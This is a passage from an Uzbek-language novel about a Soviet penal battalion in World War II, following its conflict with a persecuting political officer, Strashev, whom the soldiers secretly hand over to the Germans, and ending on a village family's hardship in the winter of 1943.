қиламан! Тушлик яқинлашаётган пайтда тўрт машина аскар билан подполковник Страшев қайтиб келди. Унинг нияти Субботин ва рота командирларини ҳибсга олиш эди. Унинг аскарлари машиналардан тушишлари билан бу томондан ҳам барча жангчилар қуролларини ўқталганча уларни қаршиладилар. Худди команда берилгандай батальон аскарлари уларни айлана бўлиб ўрай бошладилар. Бундай бўлишини кутмаган, одамларни доим муте ҳолда кўриб ўрганган Страшев довдираб қолди. - Аскарларингга айт, қуролларини туширишсин, оқибати ёмон бўлади!- дўқ урди у. - Менинг аскарларим душманга қарши қурол кўтариб ўрганишган. Улар душманнинг қаршисида қуролларини ташламайдилар,- жавоб берди Субботин. - Сен бизни душман деб биласанми? Мен... мен сиёсий бўлим бошлиғиман! Менга бўйсунишинг шарт! - Биз сени командир деб тан олмаймиз. Сен сичқонсан. Бутун халқларнинг бошига тушган офатсан. Сенга бўйсунгандан кўра отишиб ўламан. Страшев қараса, тўрт юздан ортиқ одам аста ўраб келяпти. Булар қўрқадиган одамлар эмас. Булар ўлимдан қўрқмайдилар. Қирқта аскар нима бўлибди, бир неча дақиқада ҳаммасини ер тишлатадилар. Страшевнинг бу сафар ҳам омади чопмади. У аскарларига " Машиналарга!" деб қичқирди. Шу заҳоти тозалов отряди аскарлари машиналарга югуришди. Страшевнинг ўзи ҳам олдинги машинага ўтириб жўнаб қолди. Кечки пайт генерал майор Волохов телефон қилиб Субботиндан тезда штабга етиб келишини сўради. Субботин эса "олдингга" десангиз бораман, аммо штабга десангиз бораману ўзимни ҳам, Страшевни ҳам отаман", деб жавоб берди. Бу воқеа зудлик билан армия қўмондони генерал полковник Тимофеевнинг қулоғига етиб борди. Қўмондон армия сиёсий бўлимининг бошлиғи генерал майор Елисеевга бу ҳодисани овоза қилмасдан ўрганиб чиқишни буюрди. - Жаримачилар бекордан бекорга оммавий қўзғолишмаган. Тўғри, улар айбдор, жиноятчи одамлар, аммо ватан учун жанг қилаётганларини ҳам унутмаслигимиз керак,- деди қўмондон. Генерал майор Елисеев мулоҳазали одам эди. Эртасига эрталаб ўзининг машинасида тўғри батальонга жўнади. У Страшевни ўзи билан олмади, ундан ҳеч нарсани сўрамади ҳам, келаётгани ҳақида уни огоҳлантирмади ҳам. У тўғри келган биринчи аскардан комбатнинг блиндажига олиб боришини сўради. Блиндажда Субботин, Канаев, Корзун ва Гречковлар харитага энгашиб бир нимани муҳокама қилиб туришганди. Тўсатдан кириб келган генерални кўриб ҳаммаси қотиб қолди. Субботин ўзини йўқотиб қўймай дарров "Смирно!"деб команда берди. Генерал эса "вольно" деди-да, улар билан қўл бериб кўришиб харита ёзилган столга келиб ўтирди. - Ўтиринглар, йигитлар,- деди у мулойимлик билан,- хўш, нимани муҳокама қиляпмиз? Бу чизиқлар нега айримлари кўк, айримлари қора қилиб белгиланган? - Қора чизиқлар душман бизга ҳужум қилган жойлар, кўк чизиқлар эса биз уларнинг маррасига ёриб киролган жойларимиз, гражданинг генерал,- жавоб берди Субботин. Уларни ҳайрон қолдириб генерал бўлиб ўтган воқеа ҳақида умуман оғиз очмади. Жанг тафсилотлари, кимлар қаҳрамонлик кўрсатди, таъминот қанақа бўляпти -шулар ҳақида сўради. Бир соатга яқин гаплашиб ўтирди. Ниҳоят, ўрнидан туриб комбатдан эгаллаган позицияларини бошдан оёқ кўрсатишларини сўради. Олдинда Субботин, ортидан генерал ва рота командирлари окопларни кўриб чиқа бошладилар. Генерал келгани ҳақидаги хабар бутун батальонга тарқалиб улгурганди. Ким ҳавас билан, ким хасад, ким бепарволик, ким қовоғини солган кўйи генерални кузатарди. У эса аскарларнинг ёнларидан ўтаркан айримларини елкасига қоқиб " доим омон бўлинглар" дерди. - Особист бўлса ҳам ёмон одамга ўхшамайди,- ортидан пичирлади Фадеев шерикларига. Генерал дурбинда душман томонни ҳам кузатди. Жанг бўлган майдонни диққат билан кўздан кечирди. У ортига қайтиб машинасига яқинлашганда тўхтаб комбатга гап қотди: - Хўш, комбат, мен билан штабга боришга тайёрмисан? - Умримда буйруқдан бўйин товламаганман,- шарт жавоб берди комбат,- ҳозир " машинага ўтир" десангиз ўтираман, аммо пистолетимни қўлимдан қўймайман. Етиб боришимиз билан штабда ўзимни отаман. Мен учун Страшевга ўхшаган одамларнинг қўлида ўлгандан кўра немис билан юзма-юз олишиб ўлиш афзал. Менга жанг майдонида ҳалок бўлишга рухсат беринг, гражданинг генерал. Генерал унга тикилиб турди-да, деди: - Сендан бошқа жавобни кутмагандим. Лекин ҳалок бўлишга рухсат йўқ, жангда ҳам, тергов остида ҳам. Айбингни қонинг билан ювиб, ғалаба намойишида байрам формасини кийиб олдимдан честь бериб ўтишинг шарт. Буйруғим - шу. Омон бўл, комбат. Генерал тез-тез юриб бориб машинага ўтирди. Мотор ўт олиб, машина қорда бир сирғаниб олди-да, йўлга тушиб равон юриб кетди. ХХХ Подполковник Страшевнинг бутун қиладиган иши батальонни кузатиш, аскарлар билан юзма-юз суҳбат ўтказиш бўлиб қолди. Тинч кун йўқ эди. Ҳар куни унинг одамлари батальонда. Канаев блиндажига кунда қўйиб олдилар. Аскарлар битта-битта "сиёсий суҳбат"га чақириларди. Уларни уришмасди, лекин айлантириб-айлантириб бўйниларига бир нарсаларни илишга ҳаракат қилишар, кирганки аскардан ўз командирлари устидан ёзиб беришларини сўрашарди. Айримларга командирларнинг бутун айбларини ёзиб берса, жарима батальонидан озод қилишга ваъда берардилар. Бир неча кундан кейин Страшевнинг ўзи ҳам келадиган бўлиб қолди. Комбат унга ғижиниб қараса ҳам, бир нима демади. Бора-бора бу одатга командирлар кўниккан сари Страшев ва унинг одамлари тазйиқни кучайтира бошладилар. Армия штабига жуда кўп командирлар ва аскарлар устидан шикоятлар жўнатилди. Ҳар бир шикоят замирида " шуларга жазо бериш керак, улар совет давлатининг душманлари" деган сўров ётарди. Страшев "армияси" зўр бериб батальондаги ниқобланган " душманлар"ни изларди. Унинг ўнлаб сўров армия штаби томонидан " фактлар, далиллар, гувоҳлар йўқлиги сабабли" ўзига қайтариларди. Страшев бировни айблашга далил тополмасди. Лекин унинг домига тушадиган, унинг кўнглини олишга интилиб нажот топишга ишонадиганлар ҳам топиларди. Ана шундай одамлардан бири, шубҳасиз, Кружилин эди. Кўп фурсат ўтмай у Страшевнинг кўз ва қулоғига айланди. Ким нима деяпти, кимнинг юриш-туриши қанақа - булар ҳаммаси Страшевга етиб бора бошлади. Ҳатто Нуриддиннинг душман томондан ўтишда кўрсатган каромати ҳам етиб борди. Уни алоҳида сўроққа чақирдилар. Страшевнинг ўзи иштирок этган сўроқда Нуриддинга рўпарасида ўтирган икки НКВД ходимини ухлатиб қўйиш буюрилди. Табиийки, бу ишни у амалга оширмади. Бунинг устига русчани билмаслиги ҳам уларга қўл келди. - Кўрдингларми, бу жуда моҳирлик билан ниқобланган душман. Субботин ва рота командирлари ҳам шунинг шериклари. Ахир, душман қандай қилиб буларни олдиларидан ўтказиб юборади? Аввал яхшилаб топшириқлар беришган, кейин бу ёққа ўтказишган. Энг ашаддий қўпорувчилар шундоққина тумшуғимиз олдида туришибди, уларни фош қилишимиз керак,- деди Страшев. Нуриддинни штабга олиб кетмадилар, лекин уч кун тинимсиз сўроқ қилдилар. Қандайдир қоғозларга қўл қўйдирмоқчи бўлдилар. Аммо Нуриддин русчани билмаслигини айтиб бош тортаверди. Ундан бирор иш чиқаролмаганларидан кейин Азларга навбат етди. Азлар ҳам осонликча бўйин эгадирганлардан эмасди. Уни ҳатто икки марта урдилар ҳам. Фадеев, Петрушин, Громов - ҳаммаси тергов қилинди. Сўроққа тортилган ҳеч бир аскар биронта қоғозга қўл қўймади, командирларга қарши кўрсатма бермади. Бир ой давом этган тергов тўхтатилди, чунки душман кутилмаганда ҳужумга ташланди. Одатдагидай аввал артиллерия ишга тушди, кейин танклар ҳужуми бошланди. Кун ёйилганда бошланиб қош қорайганда тугаган ҳужумнинг натижаси шу бўлдики, роппа-роса ўн учта танк ёндириб юборилди, икки юздан ортиқ душман аскари нобуд бўлди. Шунингдек, батальоннинг ҳам бор-йўғи юзга яқин аскари қолди, холос. Ўқ-дори соб бўлди, фақат душманга қарши унинг қуролини тортиб олиб жанг қилиш чораси қолганди. Қўл жанги кетаётган бир пайтда Дубов ва Фадеев кутилмаган жасорат кўрсатишди. Окопни босиб ўтиб кетган танкнинг ортидан югуриб борган Фадеев унинг люкини тасодифан тортиб очиб олди. У билан қорама-қора югурган Дубов шу заҳоти танк ичига тушди-да, қўлидаги, балки бутун батальондаги сўнгги гранатани танкчиларга ўқталиб уларни танкни ташлаб чиқишга мажбур қилди. Танкка 3-взвод командири Лихачёв ва собиқ танкчи 2-взвод командири Семён Дрогба ўтирдилар. Танк шу заҳоти душманнинг ўзига қарши ўт очди. Қоронғи тушгач, душман чекинди. Батальонда йўқотиш катта эди. Ротниклар алла-паллада йўқотишлар ҳисобини комбатга ҳавола қилганларида у бошини иккала қўли билан чангаллаб, тирсаклари билан столга таяниб ўтириб қолди. - Ифлослар!- деди у бир маҳал. - Ёнимиздаги қисмлар нега жангга киришмади? - Улар биздан кейин уришадилар,- деди Корзун хўмрайиб. Бу билан у " биз ҳалок бўлганимиздан кейин" демоқчи бўлди. - Маррани душманга бермадик-ку, шунинг ўзи биз учун ғалаба, уларни қўявер,- Канаев дўстининг жаҳли чиқиб тургани учун уни пасайтиришга уринди. - Бу душманнинг охирги талвасаси бўлди,- ротникларга қаради комбат,- сездингларми, уларнинг аввалгидай кучи қолмаган. Агар икки қисм ҳам ёрдам берганда бир ҳамлада улоқтириб ташлардик. Афсуски, бундай бўлмади. - Энди немислар яна пойлайди. Мадад кучлари етиб келса, ҳужумга ўтади, бўлмаса -йўқ,- Канаев мушоҳада қилди. - Ўзимизда-чи, қуруқ қўлимиздан бошқа нарса қолмади. Алексей Иванович дивизияга қўнғироқ қилиб таъминот сўра. Қуруқ нон бўлса ҳам жўнатишсин. Аскарлар уч кундан буён овқатланишгани йўқ. Комбат алоқачи томон юрувдики, радист уни штаб сўраётганини айтиб дастакни унга тутди. Генерал майор Волохов ундан йўқотишлар ҳақида сўради. Комбат босиқлик билан саволларга жавоб бериб бўлиб, ўқ-дори ва озиқ-овқат қолмаганини айтди. У томондан генерал яхши жавоб гап айтди, шекилли, комбатнинг юзи сал ёришиб, қаддини тиклади. - Эрталаб тонг отмай таъминот етиб келади,- деди у хурсанд бўлиб,- ҳайрият, бизни ҳам унутишмабди. Анча-мунча нарсаларни эрталаб жўнатишмоқчи бўлиб туришганда ҳужум бошлангани учун тўхтаб қолган экан. - Бу бошқа гап,- Канаев ҳам қўлларини бир-бирига ишқаб қўйди. ХХХ Батальонда овқат қилиш учун сув масаласи муаммо бўлиб қолганди. Улардан икки юз- икки юз эллик метрлар пастда дарёча ўтарди-ю, аммо у ҳам музлаб қолганди. Музни тешиб сув олиш мумкин, бироқ муаммо шунда эдики, дарёча буларга қанча бўлса, немисларга ҳам шунча масофада эди. Икки томон ҳам у ерга боргани хавфсирарди. Илож қолмагандан кейин комбат Гречковга икки-уч одамни сув олиб келиш учун жўнатишга буюрди. Гречков эса бу вазифани Петрушин зиммасига юклади. Фадеев, Громов, Нуриддин ва Азлар - тўртови икки бидонни ва арқон, челак, болта, курак, парма олиб йўлга тушдилар. Қамишлар ичидан қор кечиб боришнинг ўзи бўлмасди. Қайтишда осон бўлиши учун бер неча жойда қор депалаб йўл очишга тўғри келди. Дарёчага етиб келишгач, бир ерни мўлжаллаб курак билан қорини тозалаб очдилар. Шу ерга пармани босиб Фадеев бурай бошлади. Парма охиригача кирса ҳам сувга етиб бормади, муз қалин эди. Иложсиз болта билан навбатма-навбат музни чопдилар. Икки соатдан ортиқ уринишиб, ниҳоят, челак сиғадиган жойнинг музини олиб сувни очдилар. Икки бидонни тўлдириб олиб тўртови ҳам шундоққина қор устига ўтиришди. Пича нафас ростлаганларидан кейин Громов: - Йигитлар, бизни кузатишяпти,- деди. - Ким? Немисларми?- сергакланди Фадеев. - Ҳеч қаёққа қарама, ўзингни сипо тут,- уқтирди Громов,- улар бизга ҳужум қилишмоқчи эмас. Ўнг томонда, қамишлар ичида, фақат уларга қараманглар. Азлар Фадеевга осилди, уни ҳазиллашиб йқитгандай устидан қорга босиб турди ва Громов айтган томонга қаради. Улардан олтмиш метрча нарида, қамишлар ичида тўрт қора каска кўзга ташланиб турарди. - Гапинг тўғри, улар тўрт киши, бизни кузатиб ётишибди,- деди Азлар. - Қуролимиз йўқлиги чатоқ бўлди,- хўрсинди Фадеев. - Барибир, ўқи йўқ эди-ку,- кулди Громов. - Ҳеч бўлмаса, пўписа учун-да. - Йигитлар, секин турамиз-да, уларга эътибор бермай йўлга тушамиз, қани, кетдик,- Громов ўрнидан туриб бидоннинг бир қулоғидан тутиб Азларга қаради. Иккинчи бидонни Фадеев ва Нуриддин кўтардилар. Қийнала-қийнала йўлнинг анчасини босиб ўтишгач, тўхтаб ортга қарадилар. Улар сув очган жойда тўртови немис уймалашиб турарди. Энг қизиғи эртасига бўлди. Эрталабда Петрушин яна уларни сувга жўнатди. Бу сафар уларга Дубов ҳам қўшилди. Шу кун қор ёғишдан тўхтаган, бутун борлиқ қуюқ туман билан қопланганди. Туманда кечаги йўлдан сув бўйига тушиб бордилару бешови ҳам тахта бўлиб қотиб қолишди. Сув оладиган жойда тўрт немис, олдиларида икки фляга, сув оляптилар. Флягаларнинг оғзи очиқ, бир немиснинг қўлида челак, қолган учови автомат ўқталиб буларга қараб турибди. Биринчи бўлиб Дубов ўзига келди. У немисчалаб бир нарса деди-да, қор устига ўтириб олди. Немисларнинг бири "гут, гут" деди. - Ўтиринглар, улар ҳам одам, отгиси келганда келаётганимиздаёқ отиб ташларди,- деди у. Бошқалар ҳам унинг қаватига ўтиришиб немисларга қараб қолдилар. - Уларга нима дединг?- сўради Фадеев. - Сув ичаётганда ёввойи ҳайвонлар ҳам бир-бирига тегмайди, биз эса одамдармиз, дедим. - Яхши гап айтибсан, қойил. Тўртови немис флягаларини кўтариб кета бошлади. Нарироқ боришгач, таўхтаб гаплашиб олишди-да, биттаси ортига қайтди, ёриқ бўйидаги қор устига иккита консервани қўйди-ю, ортига қайтиб кетди. - Бизга мукофот қолдиришди,- кулди Азлар. - Меҳнат қилиб сув топганимизни билишди, душман бўлса ҳам одам-да,- жавоб берди Фадеев. Шу-шу бўлди-ю, сув бошида немисларни учратиш одатий ҳол бўлиб қолди. Қайси томон кейин борса, олдин борган томоннинг сув олишини кутиб турарди. Бориб-бориб сув бошига немислар ҳам қуролсиз келадиган бўлиб қолдилар. Немисларнинг ҳужуми тўхтагандан кейин подполковник Страшевнинг кир изловчи машинаси яна ишга тушди. Иш шу даражага бордики, Фадеев билан Дубовга " немислар нега сенларга танкни бус-бутун топширди, нега танкчилар қочиб кетди ( олатасирда немис танкчилари қочиб кетишганди)? Уларни сенлар ўзларинг қочириб юборгансанлар, чунки немислар билан олдиндан алоқа қилишгансан" деб айб қўйишди. Бунинг устига кўп ўтмай, " сув олиш учун бориб немислар билан учрашишади" деган ахборот Страшевнинг қулоғига етиб борди. Демак, бутун батальон немислар билан алоқада. Учрашув жойи ҳам аниқланди. Ана энди Страшев энг муҳим далилни қўлга киритади. Ана энди Субботиннинг ҳам унинг ротникларининг ҳам трибунал олдида жавоб берадиган пайти етди. Страшев муҳим фактни қўлга киритиш учун қаттиқ тайёрланди:тўрт нафар энг моҳир ходимни танлаб олди, энг замонавий фотоаппарат топдириб келди. Бир неча кун сув олинадиган жойни унинг ходимлари батальонга билдирмай ўргандилар. Улар ён томондаги қамишлар ичида туриб суратга тушириб беришлари ва аскарлар қайтишаётганда уларни қўлга олишлари керак эди. Ана шунда душман аскарлари билан оҳиз-бурун ўпишган аскарлар хўракка айланар, бу хўрак Субботинни ҳам, Канаев, Корзун, Гречковни ҳам тумшуғидан илинтириб бериши лозим эди. Аммо тақдир ёзиғи бошқача бўлиб чиқди. Ўша куни батальонга дивизия таркибидаги артиллерия ва Трубишев қисмининг бир неча офицери вазиятни ўрганиш учун юборилди. Улар ўз полкларининг душман устига юришлари учун тайёрланаётганларини айтишиб плацдармни роса айланишиб кўришди. Улар кетишар чоғида майор Пирогов ( офицерлар сафида у ҳам бор эди) Субботин билан ёнма-ён юриб кетаётиб пичирлади: - Комбат, ҳушёр бўл. Индинга эрталаб батальонинг устида операция ўтказилади, шахсан Страшевнинг ўзи бошқаради. Аскарларингни сувга юборма. Гапим тамом. Бу ёғини ўзинг ҳал қил. Пирогов тез-тез юриб олдинга ўтиб кетди. Комбат улар кетишганларидан кейин ротникларни чақириб сув борасида қандай операция бўлиши мумкинлигини сўради. Учови командир ҳам ўйланиб қолишди. - Бунинг сирини ҳозир, шу лаҳзада аниқлашимиз керак, бўлмаса, кеч бўлади,- деди комбат. - Лейтенант сенинг ротангдагилар сувга борадиганлар. У ерда нима бўлиши мумкинлигини улар билишади. Бориб аскарларинг билан гаплашиб кўр,- Канаев Гречковга маъноли қаради. - Бирор шубҳали нарса ҳақида айтишмаган, лекин " бор" десанглар, ҳозироқ бориб суриштираман,- ўртоқларига қаради Гречков. Майли, бориб сувга борганлар билан бир гаплашиб кўр, эҳтимол, катта бир фожеанинголдини олоиб қолармиз,- мсалаҳат берди комбат. Гречков ўрнидан туриб чиқиб кетди. У борибоқ Петрушинни чақириб тезда сувга борганларни чақиришини буюрди. Тўртови аскар ҳам сув оладиган жойда ҳеч қандай ҳодиса содир бўлмаганини, бундан хавотирланмаса ҳам бўлишини таъкидлашди. - Комбатнинг фикрича, индинга Страшевнинг шахсан ўзи сувга борганларни пойлайди,- огоҳлантирди Гречков. - Улар бизни пойлашадими?- сўради Фадеев. - Шундоқ бўлиши ҳам мумкин. - Барибир, айб топишолмайди. Сувга боряпмиз, келяпмиз - нима айбимиз бор,- эътироз қилди Азлар. Гречковнинг суҳбатдан кўнгли жойига тушиб яна комбатнинг олдига кетди. Бу ёқда эса Петрушин ўртоқлари билан суҳбатлашиб, уларнинг немислар билан учрашганларидан воқиф бўлди. - Игорь,- деди Фадеев,- анови Страшев бизни тузоққа туширмоқчига ўхшайди. Лекин биз унинг йўриғига юрмаймиз. Сув олгани энди эрталаб эмас, кеч тушганда борамиз. - Менда бошқа режа бор,- Дубов шерикларига сирли кулимсиради,- келинглар, бир иш қилайлик. Ватанга ҳам, халққа ҳам фойдали иш. Мен ҳаммасини ўйлаб қўйганман. Мендан ташқари Серёжа ҳам немисчани билади. Икковимизга озгина ёрдам беринглар - бўлди. У ёғини қотириб ташлаймиз. Ҳаммалари унинг оғзига тикилиб қолдилар. ХХХ Индинига эрталабда, ҳали тонг оқармасдан шахсан Страшевнинг ўзи ва тўрт ходими қамишлар орасида писиб ётишарди. - Аввал сен яхшилаб суратга оласан, ҳушёр бўл, расмлар тиниқ чиқишига жавобгарсан,- деди Страшев ёнидаги ходимига. - Ишқилиб кун ёришганда келишсин, бўлмаса, негатив қорайиб қолади,- жавоб берди униси. - Улар, барибир, қуёш чиққанда келишади. Бу маразлар кун ёйилмай ўринларидан қўзғолишмайди. - Немислар ҳам келишармикин?- сўради учинчиси. -Келишади, келишади. Эсингларда тутинглар, суратга олиб бўлгандан кейин немисларни отамиз, жаримачиларни эса қўлга оламиз. - Ўқ ўзимизникиларга тегиб кетиши мумкин,- эътироз қилди бирови. - Қанақа ўзингникилар? Улар жаримачилар, ватан хоинлари. Битта- иккитаси ўлса, майли, лекин ҳаммасини отиб юборманглар, ҳеч бўлмаса иккитаси тирик қолсин. Бу - факт учун, менга тирик гувоҳлар ҳам керак. Худди шу дамда уларнинг орқасида, ўн беш қадамча нарида қор кўчки каби кўтарилди. Оппоқ кийинган, юзларига ҳам оқ ниқоб таққан саккиз нафар одам қуюн каби буларнинг устига ёпирилди. Немисча, қисқа-қисқа, паст товушда буйруқлар эшитилди. Страшев ва унинг ходимлари ғафлатда қолдилар. Босқин қилганлар немисча гаплашардилар. Бир неча лаҳзада бешовининг ҳам қўлларини арғамчи билан чандиб ташладилар. Уларнинг бири Страшевга немисчалаб бир нима деб буюриб елкасига автомат қўндоғи билан бир урди, у олдинга мункиб кетди. Бошқаларни ҳам туртиб-суртиб ҳайдаб кетдилар. Тихирлик қилганларни аямай урардилар. Уларни сув олинадиган жой юқорисига, немислар томон ҳайдаб боришарди. - Жаримачилар бизни кўриб қолишсайди,- пичирлади биттаси. - Ажаб эмас, ўшалар келиб қолишса, балки қутулиб қолардик. Бу Страшевнинг овози эди. Шу дамда орқадаги немис унинг елкасига қўндоқ билан урди. Немисларнинг окопига юз эллик қадамлар қолганда пулемёт тариллади. Ўқлар улардан ўн беш қадамлар олдиндаги қорни тўзитди. Шунда оқ кийимлиларнинг бири олдинга ўтди-да, автоматини кўтариб силкитди ва немисча бир нарса деб қичқирди. Пулемёт жимиб қолди. У шерикларини олдинга юришга имлади. Қор кечиб олдинга кетаётган асирлар қўли боғлиқлиги учун тез-тез мункиб кетишар, йиқилиб тушишарди. Уларни аямай уришар, олдинга юришга мажбури қилишарди. Яна эллик қадамлар машаққат билан юрганларидан кейин кўз олдиларида немисларнинг марраси намоён бўлди. Бутун траншея бўйлаб немис аскарлари буларга тикилиб турарди. Олдинда кетаётган оқ кийимли тўхтади. Қўлини карнай қилиб немисчалаб қичқирди. Бироз муддат кутиб турганларидан сўнг у томондан бир офицер бошчилигида ўнтача аскар окопдан чиқиб булар томон юрди. Немислар буларга йигирма қадамлар қолганда тўхташди. Икки томон бир-бирларига тикилиб қолишди. Кутилмаган ташрифдан лол немислар қўларида қуроларини шай тутиб туришарди. Ҳалиги оқ кийимли йўлбошчи немис офицерига қараб узоқ гапирди. У ҳам бир нималар деб жавоб қайтарди. Йўлбошчи асирларнинг ҳаммасини ётишга буюрди. Сўнг яна офицерга орқа томонни қўли билан кўрсатиб нималардир деди. Офицер "гут, гут", деб честь берди. Оқ кийимлилар орқага бурилдилар. Немислар эса жойларида буларни кутиб туришарди. Оқ кийимли йўлбошчи Страшевнинг олдидан ўтар экан энгашиб унинг қулоғига ғижиниб пичирлади: - Страшев, сенинг душманлигингни ватан ва халқлар ҳеч қачон унутмайди. Келажак авлодлар сенинг номингга лаънатлар ёғдиради. Страшев ёнбошлаб унга қаради. У тез-тез юриб кетгач, алам билан бошини қорга урди. Оқ кийимлилар узоқлашиб кетганларидан кейин немислар қорда ётганларнинг устига келишди. Уларни турғизиб ҳайдаб кетдилар... Кечга бориб дивизия штаби ари уясидек тўзиб кетди. Бутун қисмлар, роталар бўйлаб подполковник Страшев ва унинг тўрт ходимини излашарди. Ниҳоят, НКВД ходимлари уларнинг пистирмада турган жойларини топиб келишди. Қорда қолган изларга қараб бу жойда олишув бўлганини аниқладилар. Изларни юз қадамча жойгача кузатиб бордилару йўқотдилар. Яна изғирин ва қор ёғишни бошлаган, шамол изларни кўмиб борарди. НКВДчилар Страшев ва унинг одамлари немислар томонидан асирга олинганига амин бўлдилар. ХХХ Ўша воқеадан кейин батальон тинчиб қолди. Аскарларни сўроқ қиладиганлар ҳам келмай қўйдилар. Ҳатто комбат Субботин ҳам дивизия штабига бир неча марта бориб келди. Лекин унга ҳеч қандай таҳдид бўлмади. Генерал Волохов ҳам, дивизия сиёсий бўлимининг янги бошлиғи майор Пирогов ҳам унга жанговар топшириқдан бошқа ҳеч қайси мавзуда гап қотмадилар. Комбат Страшев фожиасини ҳам батальоннинг бўйнига юклашади деб қўрққанди. Лекин бундай бўлиб чиқмади. Страшев ҳам, унинг олиб бораётган иши ҳам унутилди. Тез орада Янги йил кириб келди. Байрам қаерда ва қандай вазиятда бўлишидан қатъий назар байрам-да. Бошқа қисмлар қатори батальон аскарларига ҳам икки юз эллик грамдан спирт тарқатилди. Бунақа пайтда Нуриддиннинг ёнида доим Фадеев пайдо бўларди. Бу сафар ҳам ҳаммадан баланд, давангирдай бўлиб Нуриддиннинг котелогини олиб навбатга турди. - Котелогингни ўзим ювиб бераман,- деди у дўриллаб. Нуриддин идишига ароқ, спирт қуйдирмас, кўпина шу Фадеев унинг ҳам ҳиссасини олиш учун котелогини олар, кейин ўзи тупроқ қўшиб роса ювиб қўлига тутқазарди. " Мана мусулмонча қилиб ювдим", дерди. Ҳамма қўлида котелог тутганча ўзларининг таъбири билан айтганда "биндюжка"га йиғилганида Нуриддин секин четланиб ташқари чиқиб кетди. У совқотиб қолмаслик учун ер тепиб у ёқдан- бу ёққа юра бошлади. Аскарларни байрам билан табриклаб юрган Гречков унинг олдига келиб Петрушинни сўради. - Шу ердами Петрушин? - Ичкарида. - Сен нима қилиб турибсан? Музлаб қолмагин тағин. - Улар ичишяпти. - Эҳ, сени қара-ю. Гречков ичкари кирганда Фадеев ҳамманинг котелогидаги спиртни бир челакка қуяётганди. - Мана энди юз грамм- юз грамдан қиламиз. Нурикнинг ҳам улушини қўшсак, ҳаммамиз уч мартадан айлантирамиз,- дерди у. - Меникини ҳам қўш,- Гречков ёнидаги сувдони олиб унга узатди. - Мана, командир ҳам ҳиссасини қўшди,- деб Громов кулди. Ҳаммалари сурилиб Гречковга жой бердилар. Бир-бирларини табриклаб, ғалаба учун ичганларидан кейин Гречков ҳаммага бир-бир қараб чиқди-да: - Ҳали яна суриштирувлар бўлиб қолиши мумкин деёлмайману, лекин ҳушёр бўлинглар, йигитлар. Бўлиб ўтган воқеларни ўзаро ҳам гаплашманглар,- деди. Дубов ва Алексеев ўзаро кўз уриштириб олдилар. Петрушин кулимсираб Гречковдан сўради: - Қайси воқеани айтяпсан, лейтенант, бизда эсда қоларли ҳеч қандай ҳодиса бўлгани йўқ ҳали. - Немисларнинг ҳужумини қайтарганимизни айтяпти,- гап қўшди Громов. - Йўқ, чамамда, қуршовдан қандай чиққанимизни бўлса керак,- дўриллади Фадеев. - Менимча, урушнинг бошида терговда ётганимизни,- гапни илди Громов. Ҳаммасини, ҳаммасини эсдан чиқаринглар. Ёруғ кунлар учун! - Гречков бир кўтариб спиртни ичди-да, котелокни Кварцовнинг қўлига тутқазиб чиқиб кетди. - Билармикин?- сўради Кварцов Петрушиндан. - Биров сотдимикин?- Дубов ҳам унга қаради. - Йўқ,- деди Петрушин уларга қараб,- Гречков ақлли одам. У сени ҳам, сени ҳам немисча билишнгни билади. Бизга қарши операция тайёрланаётганини ўзимизга айтган. Бу ёғини ўзи мушоҳада қилиб олаверади. - Гречков бизга суянади, бизнинг ишонганимиз - шу. Бу ёғига тилимизни маҳкам тутсак -бас.- Петрушин йигитларга уқтирди.- Бўлди. Бу мавзуга якун ясалди. Келинглар, яхши гаплардан гаплашайлик. Алёша, сен Нуриддинни чақириб кел. Шу одати ёмон-да, ичмаслиги маълум. Бир четда ўтираверса бўлади, шу совуқда ташқарига чиқиб кетмасдан. Нуриддин кириб келганда ҳаммалари гапга тушиб кетишган, челак ҳам бўшаганди. У кигач, бироздан кейин Петрушиннит биров чақирди. У тезда қайтиб кирди, қўлида бир буханка нон. - Буни Гречков Нуриддинга беришимизни буюрибди. Ол, сенга байрам совғаси. Нуриддин нонни пичоқ билан барчага баравар бўлди. Ҳамма нонни олди-ю, Фадеев олмади. - Мен сенинг ҳақингни ичиб олдим. Бу сенга берилган. Минг ялинсанг ҳам олмайман. - Бўлмаса, спиртимни сенга бермайман энди,- деди Нуриддин. - Нозик жойидан ушладинг,- Кварцов чапак чалиб юборди. - Ундай бўлса, ноиложман,- Вадим истар-истамас нонга қўл чўзди. ХХХ Қирқ учинчи йилнинг қиши қаттиқ келди. Совуқ нафақат табиатда, балки одамларнинг қалбида ҳам ўз ҳукмини ўтказар эди. Колхоз фаоллари, солиқчилар уйма-уй изғишар, одамларнинг бор-будини фронт учун тортиб олишарди. Юртда қимматчилик. Одамлар кунлик озиқларини кунлик топардилар. Шундай қаҳратон қишда ҳам ариқ, зовур тозалашга олиб чиқишар, пахта учун янги ер очиш учун чекка жойларга қўриқ очишга олиб боришарди. Ишга чиққанга косанинг юзидек нон бир кунлик иш ҳақи. Чиқмаганга шу ҳам йўқ. Кўп хонадонлар " қиш ғамини ёзда е" деган ҳикматга амал қилиб ёз бўйи меваларни қоқи қилиб олишган, шуни шимиб кун ўтказадилар. Шунақа пайтда Мунаввар хола эрининг тадбиркорлигига қойил қолади, худога шукрона келтиради. Тоға бултур кузда қишлоқнинг нариги четидаги биров бормайдиган, чакалак босиб ётган жойга буғдой сепиб қўйганди. Шу буғдойни ёзда, айни ўрим пайтида Настя билан бориб ўриб келишган, тунлари тоға эшак аравада ташиб келганди. Учта катта қанор қопда ғалла ғамлаб олишган. Э-ҳе, бу чакана буғдойми, ўзларига уч қиш бемалол етиб ортади. Бундан ташқари, ўша чакалакзорнинг ёнидаги эллик сотихча жойдаги эски кўлнинг ўрнига сепилган шоли ҳам нақ қирқ қоп бўлганди. Гуручдан ҳам оиланинг ғами йўқ. Оилада бунча дон борлигини колхоз раҳбарлари билишмайди, билишса, сўраб келади. Аммо яна бир томони тоғанинг обрўйи ҳам эди. Далада кўрсатган ўша кароматидан кейин раис ҳам, бошқалар ҳам ҳайиқиб қолишган, мулойим муомала қилишга ҳаракат қилишарди. Иш жойидан Настя бир неча марта нон, ун ва консервалар кўтариб келди. Бу эса тоғанинг қовоғи уюлишига сабаб бўлди. - Насиба қизим,- деди унга бир куни,- бу уйга озиқ кўтариб келма. Сени ва болангни боқиш бизнинг зиммамизда. Давлат сенга берган озиқни ўша ёқда муҳтожларга бергин. Сени боқолмай қолсак, унда бошқа гап. Шу-шу бўлди-ю, Настя уйга емиш кўтариб келмай қўйди. У тушундики, чол-кампир ўта парҳезкор, ҳамма нарсани ҳам овқат экан деб еб кетишавермайди. У ҳатто, ўзининг нон карточкасини ҳам ҳамкасбларидан бирига берди. Аммо бу оила тўкин бўлгани билан атрофдаги хонадонларнинг 